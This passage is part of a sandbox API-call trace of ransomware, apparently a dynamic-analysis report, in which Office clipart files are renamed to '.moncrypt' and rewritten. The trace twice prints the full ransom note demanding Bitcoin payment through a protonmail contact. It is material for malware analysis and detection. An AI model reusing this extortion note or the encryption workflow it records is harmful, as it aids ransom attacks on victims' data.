lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.715] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x10c8 [0060.715] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.715] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x10c8, lpOverlapped=0x0) returned 1 [0060.720] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.720] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.720] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.720] GlobalUnlock (hMem=0x44000c) returned 0 [0060.720] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.720] GlobalUnlock (hMem=0x440004) returned 0 [0060.720] GlobalLock (hMem=0x440004) returned 0x550170 [0060.720] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.720] GlobalUnlock (hMem=0x440004) returned 0 [0060.732] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.732] CloseHandle (hObject=0x188) returned 1 [0060.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.742] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.742] CloseHandle (hObject=0x188) returned 1 [0060.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.742] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.743] GlobalLock (hMem=0x440004) returned 0x550170 [0060.743] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.743] GlobalUnlock (hMem=0x440004) returned 0 [0060.743] GlobalLock (hMem=0x440004) returned 0x550170 [0060.743] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.743] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.743] GlobalUnlock (hMem=0x440004) returned 0 [0060.743] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.743] GlobalUnlock (hMem=0x44000c) returned 0 [0060.743] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.743] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.743] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.743] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.743] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.744] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.744] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.744] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.744] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.744] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.744] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.744] CloseHandle (hObject=0x188) returned 1 [0060.744] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0060.744] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.744] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.744] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.744] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.744] GlobalUnlock (hMem=0x44000c) returned 0 [0060.744] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.744] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.744] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.744] GlobalUnlock (hMem=0x44000c) returned 0 [0060.745] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.745] GlobalUnlock (hMem=0x440004) returned 0 [0060.745] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.745] CharLowerBuffW (in: lpsz="AN04355_.WMF", cchLength=0xc | out: lpsz="an04355_.wmf") returned 0xc [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.745] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04355_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.746] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.746] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.746] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", dwFileAttributes=0x20) returned 1 [0060.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.moncrypt")) returned 1 [0060.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.747] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.747] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xc9c [0060.747] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.747] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xc9c, lpOverlapped=0x0) returned 1 [0060.750] GlobalLock (hMem=0x440004) returned 0x550170 [0060.750] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.750] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.750] GlobalUnlock (hMem=0x440004) returned 0 [0060.750] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.750] GlobalUnlock (hMem=0x44000c) returned 0 [0060.750] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.750] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.750] GlobalUnlock (hMem=0x44000c) returned 0 [0060.750] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.750] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xcb0, lpOverlapped=0x0) returned 1 [0060.751] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.751] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.762] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.762] CloseHandle (hObject=0x188) returned 1 [0060.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.763] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.763] CloseHandle (hObject=0x188) returned 1 [0060.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.764] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.764] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.764] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.764] GlobalUnlock (hMem=0x44000c) returned 0 [0060.764] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.764] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.764] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.764] GlobalUnlock (hMem=0x44000c) returned 0 [0060.764] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.765] GlobalUnlock (hMem=0x440004) returned 0 [0060.765] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.765] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.765] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.765] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.766] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.766] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.766] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.766] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.766] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.766] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.766] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.766] CloseHandle (hObject=0x188) returned 1 [0060.766] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0060.766] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.766] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.766] GlobalLock (hMem=0x440004) returned 0x550170 [0060.766] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.766] GlobalUnlock (hMem=0x440004) returned 0 [0060.767] GlobalLock (hMem=0x440004) returned 0x550170 [0060.767] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.767] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.767] GlobalUnlock (hMem=0x440004) returned 0 [0060.767] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.767] GlobalUnlock (hMem=0x44000c) returned 0 [0060.767] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.767] CharLowerBuffW (in: lpsz="AN04369_.WMF", cchLength=0xc | out: lpsz="an04369_.wmf") returned 0xc [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 